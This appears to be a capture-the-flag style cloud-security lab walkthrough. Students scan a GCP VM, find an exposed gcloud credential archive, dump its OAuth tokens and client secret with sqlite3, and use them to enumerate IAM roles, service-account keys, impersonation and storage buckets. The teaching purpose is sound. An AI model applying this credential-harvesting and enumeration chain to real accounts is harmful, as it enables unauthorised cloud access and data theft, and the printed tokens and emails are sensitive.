The Plan:

```
Target: 35.245.106.100

- Check for Open Ports via nmap
- Discover Content via GoBuster

- Find Creds to GCP
- Leverage Cred Locally
- Enumerate GCP
```

Note: Before starting this lab, clear out any existing gcloud credentials via the following command on your AWS EC2 Student public instance:

```
sudo su -
cd /shared
mv /root/.config /root/.config-$(date +%Y%m%d%H%M%S)
ls -alF /root/
```

We should see output similar to the following...

```
ubuntu@ip-10-0-1-34:~$ sudo su -
root@ip-10-0-1-34:~# cd /shared
root@ip-10-0-1-34:/shared# mv /root/.config /root/.config-$(date +%Y%m%d%H%M%S)
root@ip-10-0-1-34:/shared# ls -alF /root/
total 100
drwx------ 11 root root 4096 Mar 16 23:24 ./
drwxr-xr-x 24 root root 4096 Mar 16 06:20 ../
drwxr-xr-x 2 root root 4096 Mar 10 20:51 .aws/
-rw------- 1 root root 34849 Mar 16 17:47 .bash_history
-rw-r--r-- 1 root root 3137 Mar 8 18:50 .bashrc
drwxr-xr-x 5 root root 4096 Mar 10 21:29 .binwalk/
drwx------ 3 root root 4096 Mar 8 18:49 .cache/
drwxr-xr-x 4 root root 4096 Mar 16 23:13 .config-20210316232450/
drwx------ 2 root root 4096 Mar 11 19:13 .docker/
drwx------ 2 root root 4096 Mar 10 21:29 .john/
drwxr-xr-x 2 root root 4096 Mar 8 18:50 .principalmap/
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Mar 8 18:47 .ssh/
-rw------- 1 root root 4223 Mar 12 23:41 .viminfo
```

If the GCP SDK is install we can use the following command to see if things are configured to communicate with the GCP API:

```
gcloud config list
```

On a GCP Compute VM service, these typically looks similar to the following:

```
# gcloud config list
[core]
disable_usage_reporting = True

Your active configuration is: [default]
```

Note, currently we are not configured to communicate with the GCP control plane.

Check for Open Ports:

```
nmap -Pn -n -sT -p 22,80,443 --reason 35.245.106.100
```

Output should look similar to the following:

```
root@ip-10-0-1-82:/shared/lists# nmap -Pn -n -sT -p 22,80,443 --reason 35.245.106.100

Starting Nmap 7.01 ( https://nmap.org ) at 2020-08-03 06:19 UTC
Nmap scan report for 35.245.106.100
Host is up, received user-set (0.027s latency).
PORT    STATE  SERVICE REASON
22/tcp  open   ssh     syn-ack
80/tcp  open   http    syn-ack
443/tcp closed https   conn-refused

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
```

Use “-A” to check service types on the ports that were open:

```
nmap -Pn -n -A -sT -p 22,80 --reason 35.245.106.100
```

Output should look similar to the following:

```
root@ip-10-0-1-82:/shared# nmap -Pn -n -A -sT -p 22,80 --reason 35.245.106.100

Starting Nmap 7.01 ( https://nmap.org ) at 2020-08-03 06:22 UTC
Nmap scan report for 35.245.106.100
Host is up, received user-set (0.027s latency).
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 78:0e:05:8b:80:5f:eb:37:1c:e5:4c:99:f4:cc:ee:43 (RSA)
|_  256 25:c0:91:7f:db:fc:cd:ea:01:d8:67:2f:c8:da:d7:d6 (ECDSA)
80/tcp open  http    syn-ack Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 2.6.X (86%)
OS CPE: cpe:/o:linux:linux_kernel:2.6
Aggressive OS guesses: Linux 2.6.18 - 2.6.22 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 28 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   12.51 ms 52.15.0.35
2   ... 6
7   0.81 ms  100.65.10.65
8   2.06 ms  15.230.39.5
9   1.73 ms  15.230.39.14
10  0.98 ms  52.95.1.177
11  11.72 ms 100.92.53.14
12  11.55 ms 100.92.43.96
13  14.05 ms 100.92.43.113
14  11.70 ms 100.92.44.112
15  11.94 ms 100.92.44.105
16  11.64 ms 52.93.132.72
17  11.50 ms 100.91.168.56
18  11.55 ms 100.91.168.61
19  11.65 ms 100.91.164.60
20  11.86 ms 100.91.164.49
21  32.18 ms 100.91.177.167
22  11.53 ms 100.100.6.107
23  11.52 ms 100.100.84.6
24  11.52 ms 100.100.84.5
25  16.18 ms 100.100.4.10
26  11.62 ms 99.83.65.1
27  ...
28  27.08 ms 35.245.106.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.22 seconds
```

Discover content:

```
cd /shared
cnoio_gobuster -t 100 -i -m dir -w /shared/lists/quickhits_noslash.txt -u http://35.245.106.100/ -o /shared/gobuster_gcpadmin_content_found.txt
```

Output should look similar to the following:

```
Gobuster v1.4.1              OJ Reeves (@TheColonial)
```

```
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://35.245.106.100/
[+] Threads      : 100
[+] Wordlist     : /shared/lists/quickhits_noslash.txt
[+] Output file  : /shared/gobuster_gcpadmin_content_found.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/temp/ (Status: 200)
=====================================================
```

Let’s check out this folder:

```
curl -s -k -i http://35.245.106.100/temp/
```

We should see output similar to the following:

```
root@ip-10-0-1-82:/shared# curl -s -k -i http://35.245.106.100/temp/
HTTP/1.1 200 OK
Date: Mon, 03 Aug 2020 06:24:28 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 948
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /temp</title>
 </head>
 <body>
<h1>Index of /temp</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/compressed.gif" alt="[   ]"></td><td><a href="gcloud.tar.gz">gcloud.tar.gz</a></td><td align="right">2020-08-03 06:12  </td><td align="right">9.9
   <tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.38 (Debian) Server at 35.245.106.100 Port 80</address>
</body></html>
root@ip-10-0-1-82:/shared#
```

Next, let’s download the “gcloud.tar.gz” file seen in the above output:

```
cd /shared/
curl -o gcloud.tar.gz http://35.245.106.100/temp/gcloud.tar.gz
ls -alF gcloud.tar.gz
```

We should see output similar to the following:

```
root@ip-10-0-1-82:~# cd /shared/
root@ip-10-0-1-82:/shared# curl -o gcloud.tar.gz http://35.245.106.100/temp/gcloud.tar.gz
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10170  100 10170    0     0   177k      0 --:--:-- --:--:-- --:--:--  180k
root@ip-10-0-1-82:/shared# ls -alF gcloud.tar.gz
-rw-r--r-- 1 root root 10170 Aug  3 06:27 gcloud.tar.gz
```

Now let’s extract the file:

```
tar xvzf gcloud.tar.gz
```

We should see output similar to the following:

```
root@ip-10-0-1-82:/shared# tar xvzf gcloud.tar.gz
root/.config/gcloud/
root/.config/gcloud/active_config
root/.config/gcloud/access_tokens.db
root/.config/gcloud/credentials.db
...
root/.config/gcloud/legacy_credentials/brycewaynetotesnotbatman@gmail.com/
root/.config/gcloud/legacy_credentials/brycewaynetotesnotbatman@gmail.com/adc.json
root/.config/gcloud/legacy_credentials/brycewaynetotesnotbatman@gmail.com/.boto
```

Now let’s move these files into where they belong, so the gcloud tool can leverage them:

```
rm -rf /root/.config
cd /shared/root/
mv .config /root
```

Let’s check out these files with:

```
ls -alFh /root/.config/gcloud
```

We should see output similar to the following:

```
root@ip-10-0-1-82:/shared# ls -alFh /root/.config/gcloud
total 44K
drwxr-xr-x 5 root root 4.0K Aug  3 06:07 ./
drwxr-xr-x 3 root root 4.0K Aug  1 03:53 ../
-rw------- 1 root root 4.0K Aug  3 06:07 access_tokens.db
-rw-r--r-- 1 root root    7 Aug  3 06:07 active_config
-rw-r--r-- 1 root root    0 Aug  3 06:08 config_sentinel
drwxr-xr-x 2 root root 4.0K Aug  3 06:07 configurations/
-rw------- 1 root root 5.0K Aug  3 06:07 credentials.db
-rw------- 1 root root    5 Aug  3 05:59 gce
-rw-r--r-- 1 root root   37 Aug  3 06:07 .last_survey_prompt.yaml
drwx------ 3 root root 4.0K Aug  3 06:07 legacy_credentials/
drwxr-xr-x 4 root root 4.0K Aug  3 05:59 logs/
root@ip-10-0-1-98:~/.config/gcloud#
```

Let’s check out these files with sqlite:

```
apt install -y sqlite3
sqlite3 /root/.config/gcloud/access_tokens.db "select * from access_tokens"
sqlite3 /root/.config/gcloud/credentials.db "select * from credentials"
```

We should see output similar to the following:

```
root@ip-10-0-1-82:/shared# apt install -y sqlite3
Reading package lists... Done
...
Setting up sqlite3 (3.11.0-1ubuntu1.5) ...

root@ip-10-0-1-98:/shared# sqlite3 /root/.config/gcloud/access_tokens.db "select * from access_tokens"
brycewaynetotesnotbatman@gmail.com|ya29.a0AfH6SMDgc99jAM64-9UQ_8UFJ-rMWL4cRwgyO4MxUIyBQyryKdU1SdbOmWj_XER9z4TNBeAqbgaJQ-kNbjGHmIhpYgUB7S4jfvKmYr1oCMKw2xwjffMICKbmG6u0vgOtsYf4GmXSx5WGw

root@ip-10-0-1-34:/shared/root# sqlite3 /root/.config/gcloud/credentials.db "select * from credentials"
brycewaynetotesnotbatman@gmail.com|{
  "client_id": "32555940559.apps.googleusercontent.com",
  "client_secret": "ZmssLNjJy2998hD4CTg2ejr2",
  "refresh_token": "1//0d1gWuWAjss_1CgYIARAAGA0SNwF-L9IrCB57tu4hccS3mIjQDEQLEImbEz-GyTD0u8g6BLDhSbdBs-hZtNvwf5kuQdJoKzsNsCs",
  "revoke_uri": "https://accounts.google.com/o/oauth2/revoke",
  "scopes": [
    "openid",
    "https://www.googleapis.com/auth/userinfo.email",
    "https://www.googleapis.com/auth/cloud-platform",
    "https://www.googleapis.com/auth/appengine.admin",
    "https://www.googleapis.com/auth/compute",
    "https://www.googleapis.com/auth/accounts.reauth"
  ],
  "token_uri": "https://oauth2.googleapis.com/token",
  "type": "authorized_user"
}
root@ip-10-0-1-98:/shared#
```

Now let’s try the gcloud tool again:

```
gcloud config list
```

We should see output similar to the following:

```
root@ip-10-0-1-82:/shared/root# gcloud config list
[core]
account = brycewaynetotesnotbatman@gmail.com
disable_usage_reporting = True
project = gcp-training-283919

Your active configuration is: [default]
root@ip-10-0-1-82:/shared/root#
```

We can run the following command to see when these creds expire:

```
gcloud auth describe brycewaynetotesnotbatman@gmail.com
```

We should see output similar to the following:

```
root@ip-10-0-1-82:/shared/root# gcloud auth describe brycewaynetotesnotbatman@gmail.com
_class: OAuth2Credentials
_module: oauth2client.client
access_token: ya29.a0AfH6SMDgc99jAM64-9UQ_8UFJ-rMWL4cRwgyO4MxUIyBQyryKdU1SdbOmWj_XER9z4TNBeAqbgaJQ-kNbjGHmIhpYgUB7S4jfvKmYr1oCMKw2xwjffMICKbmG6u0vgOtsYf4GmXSx5WGwYdykV8qBpc3YfduLgGTn3
client_id: 32555940559.apps.googleusercontent.com
client_secret: ZmssLNjJy2998hD4CTg2ejr2
id_token:
  at_hash: hLOB65gU_nPbOjCoKb6_dg
  aud: 32555940559.apps.googleusercontent.com
  azp: 32555940559.apps.googleusercontent.com
  email: brycewaynetotesnotbatman@gmail.com
  email_verified: true
  exp: 1596438463
  iat: 1596434863
  iss: https://accounts.google.com
  sub: '112180744373633622566'
id_tokenb64: eyJhbGciOiJSUzI1NiIsImtpZCI6ImYwNTQxNWIxM2FjYjk1OTBmNzBkZjg2Mjc2NWM2NTVmNWE3YTAxOWUiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJhenAiOiIzMjU1NTk
invalid: false
refresh_token: 1//0fBlmwsJE6lznCgYIARAAGA8SNwF-L9IrXZauzEEi0LQp38-odrTCc-YUfDQ9AnEA_W3LcNfj_uikDMblBUI3QRwPqVBvGmhzWDI
revoke_uri: https://accounts.google.com/o/oauth2/revoke
scopes:
- https://www.googleapis.com/auth/accounts.reauth
- https://www.googleapis.com/auth/compute
- https://www.googleapis.com/auth/userinfo.email
- https://www.googleapis.com/auth/cloud-platform
- openid
- https://www.googleapis.com/auth/appengine.admin
token_expiry: '2020-08-03T07:07:42Z'
token_info_uri: null
token_response: null
token_uri: https://www.googleapis.com/oauth2/v4/token
user_agent: google-cloud-sdk
root@ip-10-0-1-82:/shared/root#
```

Note, the token expire time:

```
token_expiry: '2020-08-03T07:07:42Z'
```

We can set the current project via the following syntax:

```
gcloud config set project gcp-training-283919
```

We should see output similar to the following:

```
# gcloud config set project gcp-training-283919
Updated property [core/project].
```

Using this information:

- Project name: gcp-training-283919
- service account name: 656170252260-compute@developer.gserviceaccount.com

We can try to enumerate roles assigned to the service account:

```
gcloud projects get-iam-policy gcp-training-283919  \
    --flatten="bindings[].members" \
    --format='table(bindings.role)' \
    --filter="bindings.members:brycewaynetotesnotbatman@gmail.com"
```

We should see output similar to the following:

```
root@ip-10-0-1-82:/shared/root# gcloud projects get-iam-policy gcp-training-283919  \
>     --flatten="bindings[].members" \
>     --format='table(bindings.role)' \
>     --filter="bindings.members:brycewaynetotesnotbatman@gmail.com"
ROLE
roles/viewer
root@ip-10-0-1-82:/shared/root#
```

We can then try to pull the IAM policy for the project named “gcp-training-283919“:

```
gcloud projects get-iam-policy gcp-training-283919
```

We should see output similar to the following:

```
root@ip-10-0-1-82:/shared/root# gcloud projects get-iam-policy gcp-training-283919
bindings:
- members:
  - serviceAccount:656170252260@cloudbuild.gserviceaccount.com
  role: roles/cloudbuild.builds.builder
- members:
  - serviceAccount:service-656170252260@gcp-sa-cloudbuild.iam.gserviceaccount.com
  role: roles/cloudbuild.serviceAgent
- members:
  - serviceAccount:service-656170252260@compute-system.iam.gserviceaccount.com
  role: roles/compute.serviceAgent
- members:
  - serviceAccount:656170252260@cloudservices.gserviceaccount.com
  - serviceAccount:gcp-training-283919@appspot.gserviceaccount.com
  - serviceAccount:service-656170252260@containerregistry.iam.gserviceaccount.com
  role: roles/editor
- members:
  - user:anthony.hendricks@stage2sec.com
  role: roles/owner
- members:
  - serviceAccount:656170252260-compute@developer.gserviceaccount.com
  - user:brycewaynetotesnotbatman@gmail.com
  role: roles/viewer
etag: BwWr8uxZedw=
version: 1
root@ip-10-0-1-82:/shared/root#
```

We can try to list VMs:

```
gcloud compute instances list
```

We should see output similar to the following:

```
root@ip-10-0-1-82:/shared/root# gcloud compute instances list
NAME        ZONE           MACHINE_TYPE   PREEMPTIBLE  INTERNAL_IP  EXTERNAL_IP    STATUS
```

```
instance-1  us-central1-a  n1-standard-1               10.128.0.2   35.245.106.100  RUNNING
```

We can try to get a list of service accounts:

```
gcloud iam service-accounts list
```

We should see output similar to the following:

```
root@ip-10-0-1-98:/shared# gcloud iam service-accounts list
NAME                                    EMAIL                                                   DISABLED
App Engine default service account      gcp-training-283919@appspot.gserviceaccount.com        False
Compute Engine default service account  656170252260-compute@developer.gserviceaccount.com  False
```

We can then try to get service account keys for each of these:

```
gcloud iam service-accounts keys list --iam-account gcp-training-283919@appspot.gserviceaccount.com
gcloud iam service-accounts keys list --iam-account 656170252260-compute@developer.gserviceaccount.com
```

We should see output similar to the following:

```
root@ip-10-0-1-98:/shared# gcloud iam service-accounts keys list --iam-account gcp-training-283919@appspot.gserviceaccount.com
KEY_ID                                    CREATED_AT            EXPIRES_AT
125ef1cbcfc65b5c1d2fdfa2dc43c073b0729e33  2020-07-19T20:06:47Z  2020-08-05T20:06:47Z
e6bebdc966f4d05a3f66bc485efc856a8ef38ac9  2020-07-28T20:06:47Z  2020-08-13T20:06:47Z

root@ip-10-0-1-98:/shared# gcloud iam service-accounts keys list --iam-account 656170252260-compute@developer.gserviceaccount.com
KEY_ID                                    CREATED_AT            EXPIRES_AT
bf0a6f2db6045b7220f9a0c6af2b2b581b1e6b5f  2020-07-20T20:34:27Z  2022-07-25T19:50:19Z
```

Note, this indicates keys may be in use throughout these various resources.

We can try to impersonate these service accounts:

```
gcloud iam service-accounts list

gcloud iam service-accounts list --impersonate-service-account gcp-training-283919@appspot.gserviceaccount.com

gcloud iam service-accounts list --impersonate-service-account 656170252260-compute@developer.gserviceaccount.com
```

But we do not have rights to do so in this example…

```
root@ip-10-0-1-98:/shared# gcloud iam service-accounts list
NAME                                    EMAIL                                                   DISABLED
App Engine default service account      gcp-training-283919@appspot.gserviceaccount.com        False
Compute Engine default service account  656170252260-compute@developer.gserviceaccount.com  False

root@ip-10-0-1-98:/shared# gcloud iam service-accounts list --impersonate-service-account gcp-training-283919@appspot.gserviceaccount.com
WARNING: This command is using service account impersonation. All API calls will be executed as [gcp-training-283919@appspot.gserviceaccount.com].
ERROR: (gcloud.iam.service-accounts.list) Error 403 (Forbidden) - failed to impersonate [gcp-training-283919@appspot.gserviceaccount.com]. Make sure the account that's trying to imper

root@ip-10-0-1-98:/shared# gcloud iam service-accounts list --impersonate-service-account 656170252260-compute@developer.gserviceaccount.com
WARNING: This command is using service account impersonation. All API calls will be executed as [656170252260-compute@developer.gserviceaccount.com].
ERROR: (gcloud.iam.service-accounts.list) Error 403 (Forbidden) - failed to impersonate [656170252260-compute@developer.gserviceaccount.com]. Make sure the account that's trying to im
```

We can check out other GCP projects:

```
gcloud projects list
```

But we do not have rights to do so in this example…

```
root@ip-10-0-1-98:/shared# gcloud projects list
PROJECT_ID           NAME          PROJECT_NUMBER
gcp-training-283919  GCP-Training  656170252260
```

One area you normally want to spend some time reviewing, is what is available in storage accounts to this user, via listing bucket names:

```
gsutil ls
```

We should see output similar to the following:

```
root@ip-10-0-1-98:/shared# gsutil ls
gs://gcp-training-283919.appspot.com/
gs://staging.gcp-training-283919.appspot.com/
gs://us.artifacts.gcp-training-283919.appspot.com/
```

Next, we enumerate details about the buckets

```
gsutil ls -L
```

We should see output similar to the following:

```
root@ip-10-0-1-98:/shared# gsutil ls -L
gs://gcp-training-283919.appspot.com/ :
...
        Bucket Policy Only enabled:     False
        ACL:                            []
        Default ACL:                    []
gs://staging.gcp-training-283919.appspot.com/ :
...
        Bucket Policy Only enabled:     False
        ACL:                            []
        Default ACL:                    []
gs://us.artifacts.gcp-training-283919.appspot.com/ :
...
        Bucket Policy Only enabled:     False
        ACL:                            []
        Default ACL:                    []
```

Next, we can recursively list objects/files in a bucket:

```
gsutil ls -r gs://staging.gcp-training-283919.appspot.com/
```

Then we can view the contents:

```
gsutil cat gs://staging.gcp-training-283919.appspot.com/manifest.json
```

Checkout the other objects & buckets and see if you can find the flag!

References:

https://initblog.com/2020/gcp-post-exploitation/

https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/